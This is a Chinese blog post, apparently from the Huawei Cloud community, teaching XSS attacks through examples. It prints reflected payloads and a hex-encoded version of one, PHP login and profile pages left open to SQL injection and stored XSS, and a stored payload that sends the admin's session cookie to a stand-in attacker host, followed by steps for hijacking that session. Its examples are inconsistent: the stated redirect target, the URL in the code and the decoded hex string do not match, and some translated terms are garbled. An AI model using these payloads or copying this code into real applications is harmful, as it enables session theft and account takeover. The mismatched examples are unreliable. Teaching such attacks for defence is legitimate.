XSS 攻击示例

举报
Tiamo_T 发表于 2022/05/30 09:16:52 2022/05/30
【摘要】 XSS 代表跨站点脚本。XSS 与 SQL 注入非常相似。在 SQL-Injection 中,我们通过注入 SQL 查询作为用户输入来利用该漏洞。在 XSS 中,我们将代码(基本上是客户端脚本)注入到远程服务器。跨站脚本类型XSS 攻击大致分为 2 种类型:非持久执着的1.非持久性XSS攻击在非持久性攻击的情况下,它需要用户访问攻击者特制的链接。当用户访问该链接时,精心制作的代码将由用户的浏...

XSS 代表跨站点脚本。

XSS 与 SQL 注入非常相似。在 SQL-Injection 中,我们通过注入 SQL 查询作为用户输入来利用该漏洞。在 XSS 中,我们将代码(基本上是客户端脚本)注入到远程服务器。

跨站脚本类型

XSS 攻击大致分为 2 种类型:

  1. 非持久
  2. 执着的

1.非持久性XSS攻击

在非持久性攻击的情况下,它需要用户访问攻击者特制的链接。当用户访问该链接时,精心制作的代码将由用户的浏览器执行。让我们通过一个例子更好地理解这种攻击。

非持久性 XSS 示例

索引.php:

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://hgst.com.cn/">Click to Download</a>";
?>

示例 1:

现在攻击者将制作如下 URL 并将其发送给受害者:


index.php?name=guest<script>alert('attacked')</script>

当受害者将上述 URL 加载到浏览器中时,他会看到一个警告框,上面写着“被攻击”。尽管这个例子没有造成任何损害,除了恼人的“被攻击”弹出窗口,你可以看到攻击者如何使用这种方法来做一些破坏性的事情。

示例 2:

例如,攻击者现在可以尝试更改“点击下载”链接的“目标 URL”。他可以通过制作如下所示的 URL 将其重定向到“not-real-xssattackexamples.com”,而不是指向“xssattackexamples.com”网站的链接:

index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://www.hgst.com.cn/" ;}</script>

在上面,我们调用了在“window.onload”上执行的函数。因为网站(即 index.php)首先回显给定名称,然后才绘制 <a> 标记。所以如果我们像下图这样直接写,是行不通的,因为那些语句会在<a>标签被回显之前被执行

index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://www.hgst.com.cn"</script>

通常,攻击者往往不会制作人类可以直接读取的 URL。所以他会将 ASCII 字符编码为十六进制,如下所示。

index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20 %3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f %63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61 %6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74 %70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d %3c%2f%73%63%72%69%70%74%3e

这与:

index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://www.hgst.com.cn/";}</script>

现在受害者可能不知道它是什么,因为他无法直接理解 URL 是经过精心设计的,他们更有可能访问该 URL。

2. 持续性 XSS 攻击

在持续攻击的情况下,攻击者注入的代码将存储在辅助存储设备中(主要在数据库上)。持久攻击造成的伤害比非持久攻击更大。在这里,我们将看到如何通过执行 XSS 来劫持其他用户的会话。

会议

HTTP 协议是一种无状态协议,这意味着它不会对请求和响应保持任何状态。所有请求和响应都是相互独立的。但是大多数 Web 应用程序不需要这个。一旦用户验证了自己的身份,Web 服务器不应该询问用户名/密码来获取用户的下一个请求。为此,他们需要在网络浏览器和网络服务器之间维护某种状态,这是通过“会话”完成的。

当用户第一次登录时,网络服务器将创建一个会话 ID,并将其作为“cookie”发送到网络浏览器。对网络服务器的所有后续请求,都将基于 cookie 中的“会话 ID”。

持久性 XSS 攻击示例

我们在下面给出的这个示例 Web 应用程序演示了持久性 XSS 攻击,它执行以下操作:

  • 有两种类型的用户:“管理员”和“普通”用户。
  • 当“管理员”登录时,他可以看到用户名列表。当“普通”用户登录时,他们只能更新他们的显示名称。

登录.php:

<?php
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';

$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";

/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);

/* Error checking the connection string */
if (!$Connect) {
 echo "Database Connection Failure";
 exit;
}

$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";

$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);

$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];

if(strcmp($user_pass,$row['password'])!=0) {
 echo "Login failed";
}
else {
 # Start the session
 session_start();
 $_SESSION['USER_NAME'] = $user_name;
 echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?>

主页.php:

<?php
session_start();
if(!$_SESSION['USER_NAME']) {
 echo "Need to login";
}
else {
 $Host= '192.168.1.8';
 $Dbname= 'app';
 $User= 'yyy';
 $Password= 'xxx';
 $Schema = 'test';
 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
 if($_SERVER['REQUEST_METHOD'] == "POST") {
  $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
  pg_query($Connect,$query);
  echo "Update Success";
 }
 else {
  if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
   echo "Welcome admin<br><hr>";
   echo "List of user's are<br>";
   $query = "select display_name from $Schema.members where user_name!='admin'";
   $res = pg_query($Connect,$query);
   while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
    echo "$row[display_name]<br>";
   }
 }
 else {
  echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
  echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
  echo "<input type=\"submit\" value=\"Update\">";
 }
}
}
?>

现在攻击者以普通用户身份登录,他将在文本框中输入以下内容作为他的显示名称:

<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>

攻击者输入的上述信息将存储在数据库中(持久化)。

现在,当管理员登录系统时,他将看到一个名为“我的名字”的链接以及其他用户名。当管理员单击该链接时,它将具有会话 ID 的 cookie 发送到攻击者的站点。现在,攻击者可以使用该会话 ID 向 Web 服务器发布请求,并且他可以像“管理员”一样行事,直到会话过期。cookie 信息将类似于以下内容:

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

一旦黑客知道了 PHPSESSID,他就可以使用这个会话来获取管理员权限,直到 PHPSESSID 过期。

为了进一步理解这一点,我们可以使用一个名为“Tamper Data”的firefox插件,它可用于添加一个名为“Cookies”的新HTTP标头,并将值设置为“PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3”。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。